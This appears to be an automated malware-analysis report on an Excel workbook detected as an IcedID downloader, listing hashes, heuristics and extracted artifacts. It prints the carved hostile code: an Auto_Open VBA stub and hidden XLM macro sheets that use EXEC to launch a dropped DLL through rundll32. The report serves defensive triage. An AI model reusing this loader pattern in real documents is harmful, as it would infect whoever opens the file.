Office (OOXML) malware analysis — malicious · c103b31117c07968

MALICIOUS

Office (OOXML)

175.2 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10

MD5: 1275b577b4408a4db6400b44452e011c SHA-1: b9f2717e2355af464f4f153d1480c820934c9c48 SHA-256: c103b31117c07968be3d783f405f633504da15f46c07912b320b9c09faa722bc

238 Risk Score

Heuristics 8

ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
Excel 4.0 macro sheet (2 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Dangerous XLM formula APIs: EXEC, GOTO, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium 1 related finding OOXML_VBA

Document contains a VBA project — VBA macros present
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Private Sub Auto_Open()
```
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	724 bytes
SHA-256: `38c2ca95d3a378256000e3cece96c570531cd647b7144666d33b3327d83ace49`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Лист1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "ЭтаКнига" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1" Private Sub Auto_Open() Application.Run Sheets("By").Range("CD5") End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	10240 bytes
SHA-256: `dac7393970ce831ab172968562d9de4fffc6bae59cdf47bb43ca755b2604094d`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	1518 bytes
SHA-256: `39d7fded054c4f16783762adae220a09b49816a6591e0e8a260b49988ca1129c`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{627EEF39-4B44-4490-9264-EA5BF8C1B6B9}"><dimension ref="E6:E8"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.6640625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.6640625" style="1"/></cols><sheetData><row r="6" spans="5:5" x14ac:dyDescent="0.3"><c r="E6" s="1" t="b"><f>EXEC("rundll32 "&"..\Hodas.vyur1"&",DllRegisterServer")</f><v>0</v></c></row><row r="8" spans="5:5" x14ac:dyDescent="0.3"><c r="E8" s="1" t="e"><f>GOTO(Hi!D4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet3.xml	1513 bytes
SHA-256: `07258137112005cd5e106922ed115dfa9bf05fde6dae69ea4d5761bf89b0eea6`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{72067F03-3C2F-409F-9206-0552CD863068}"><dimension ref="D6:D11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.5546875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.5546875" style="1"/></cols><sheetData><row r="6" spans="4:4" x14ac:dyDescent="0.3"><c r="D6" s="1" t="b"><f>EXEC("rundll32 "&"..\Hodas.vyur2"&",DllRegisterServer")</f><v>0</v></c></row><row r="11" spans="4:4" x14ac:dyDescent="0.3"><c r="D11" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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